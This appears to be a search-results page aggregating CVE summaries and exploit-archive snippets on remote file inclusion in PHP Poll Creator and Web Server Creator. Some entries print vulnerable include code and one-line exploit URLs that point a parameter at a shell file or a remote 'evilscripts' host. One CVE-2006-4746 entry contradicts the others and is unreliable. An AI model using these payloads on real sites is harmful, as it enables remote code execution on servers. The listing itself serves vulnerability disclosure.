CVE-2007-1779

The CVE-2007-1779 issue affects the MySQL back-end of Advanced Website Creator (AWC) prior to 1.9.0. Vulnerability is described as multiple SQL injection flaws that could allow remote attackers to execute arbitrary SQL via unspecified parameters, linked to the use of mysql_escape_string instead o...

CVE-2006-7135

PHP remote file inclusion vulnerability in lib/functions.inc.php in PHP Poll Creator phpPC 1.04 allows remote attackers to execute arbitrary PHP code via a URL in the relativerpfad parameter, a different vector and version than CVE-2005-1755. NOTE: the provenance of this information is unknown; t...

CVE-2006-7136

Multiple PHP remote file inclusion vulnerabilities in PHP Poll Creator phpPC 1.04 and earlier allow remote attackers to execute arbitrary PHP code via a URL in the relativerpfad parameter to 1 poll.php, 2 pollkommentar.php, and 3 pollsm.php, different vectors and version than CVE-2005-1755...

CVE-2006-7135

PHP remote file inclusion vulnerability in lib/functions.inc.php in PHP Poll Creator phpPC 1.04 allows remote attackers to execute arbitrary PHP code via a URL in the relativerpfad parameter, a different vector and version than CVE-2005-1755. NOTE: the provenance of this information is unknown; t...

CVE-2006-7136

Multiple PHP remote file inclusion vulnerabilities in PHP Poll Creator phpPC 1.04 and earlier allow remote attackers to execute arbitrary PHP code via a URL in the relativerpfad parameter to 1 poll.php, 2 pollkommentar.php, and 3 pollsm.php, different vectors and version than CVE-2005-1755...

CVE-2006-7135

CVE-2006-7135: Affects PHP Poll Creator (phpPC) 1.04; vulnerable component is lib/functions.inc.php. Remote PHP code execution possible via a URL in the relativer_pfad parameter. No explicit remediation or patch details are provided in the supplied documents. The connected sources do not reveal a...

PHP Poll Creator Relativer_PFAD远程文件包含漏洞

PHP Poll Creator是一款基于php的WEB应用程序。 PHP Poll Creator不正确过滤用户提交的URI数据，远程攻击者可以利用漏洞以WEB进程权限执行任意命令。 问题是由于多个脚本对用户提交的'RelativerPFAD'参数缺少过滤，提交恶意的远程服务器作为包含对象，可导致以WEB进程权限执行任意PHP代码。 php PC PHP Polling Creator 1.03 php PC PHP Poll Creator 1.0.1 php PC PHP Poll Creator 1.04 目前没有解决方案提供：...

phpPC 1.04 Multiples Remote File Inclusion

phpPC 1.04 Multiples Remote File Inclusion Script : PHP Poll Creator Version : 1.04 Vendor URL : http://www.phppc.de Impact : Remote File Inclusion Discovered by : iss4m Contact : [email protected] Vulnerable code in poll.php -------------------------------- ?php if $isphppcincluded != 1 include...

phpPC 1.04 - Multiple Remote File Inclusions

phpPC 1.04 - Multiple Remote File Inclusions phpPC 1.04 Multiples Remote File Inclusion Script : PHP Poll Creator Version : 1.04 Vendor URL : http://www.phppc.de Impact : Remote File Inclusion Discovered by : iss4m Contact : [email protected] Vulnerable code in poll.php...

phpPC <= 1.04 Multiple Remote File Inclusion Vulnerabilities

No description provided by source. phpPC 1.04 Multiples Remote File Inclusion Script : PHP Poll Creator Version : 1.04 Vendor URL : http://www.phppc.de Impact : Remote File Inclusion Discovered by : iss4m Contact : [email protected] Vulnerable code in poll.php -------------------------------- ?ph...

phpPC <= 1.04 Multiple Remote File Inclusion Vulnerabilities

Exploit for unknown platform in category web applications ============================================================ phpPC = 1.04 Multiple Remote File Inclusion Vulnerabilities ============================================================ phpPC 1.04 Multiples Remote File Inclusion Script : PHP...

phpPC 1.04 - Multiple Remote File Inclusions

phpPC 1.04 Multiples Remote File Inclusion Script : PHP Poll Creator Version : 1.04 Vendor URL : http://www.phppc.de Impact : Remote File Inclusion Discovered by : iss4m Contact : [email protected] Vulnerable code in poll.php -------------------------------- ?php if $isphppcincluded != 1 include...

PollCreator1.04.txt

PHP Poll Creator 1.04 pollvote.phpFile Include Source Code: http://www.phppc.de/download/phppc104.zip Vulnerable Code: include $relativerpfad . "layouttop.inc.php"; include $relativerpfad . "polltitelkat.inc.php"; Exploit : http://www.vicTim.com/PhpPC/pollvote.php?relativerpfad=sh3ll.txt? Discove...

PHP Poll Creator 1.04 &#40;poll_vote.php&#41;File Include

PHP Poll Creator 1.04 pollvote.phpFile Include Source Code: http://www.phppc.de/download/phppc104.zip Vulnerable Code: include $relativerpfad . "layouttop.inc.php"; include $relativerpfad . "polltitelkat.inc.php"; Exploit : http://www.vicTim.com/PhpPC/pollvote.php?relativerpfad=sh3ll.txt? Discove...

PHP Polling Creator 1.03 - functions.inc.php Remote File Inclusion

PHP Polling Creator 1.03 - functions.inc.php Remote File Inclusion source: https://www.securityfocus.com/bid/20398/info PHP Polling Creator is affected by a remote file-include vulnerability because the application fails to properly sanitize user-supplied input. An attacker may leverage this issu...

CVE-2006-4746

PHP remote file inclusion vulnerability in news/include/customize.php in Web Server Creator 0.1 allows remote attackers to execute arbitrary PHP code via a URL in the l parameter...

CVE-2006-4746

PHP remote file inclusion vulnerability in news/include/customize.php in Web Server Creator 0.1 allows remote attackers to execute arbitrary PHP code via a URL in the l parameter...

CVE-2006-4746

CVE-2006-4746 is reported in freeradius with multiple buffer overflows that can lead to denial of service. The OpenVAS advisory describes these issues as remote vulnerabilities in freeradius, potentially affecting various architectures and configurations. Debian security advisory DSA-1145-1 refer...

wsc01.txt

Web Server Creator v0.1 l Remote Include Vulnerability Author: XORON URL: http://www.comscripts.com/jump.php?action=script&id=1082 Class: Remote cont@ct: x0r0nathotmaildotcom Code: include $l; Exploit: http://www.site.com/path/news/include/customize.php?l=http://evilscripts? Greetz: str0ke,...

CVE-2002-2217

The CVE-2002-2217 issue affects Web Server Creator - Web Portal (WSC-WebPortal) 0.1. An attacker can trigger remote PHP code execution by supplying a URL in the l parameter to customize.php or the pg parameter to index.php, exploiting PHP remote file inclusion. The PT-2002-2929 entry corroborates...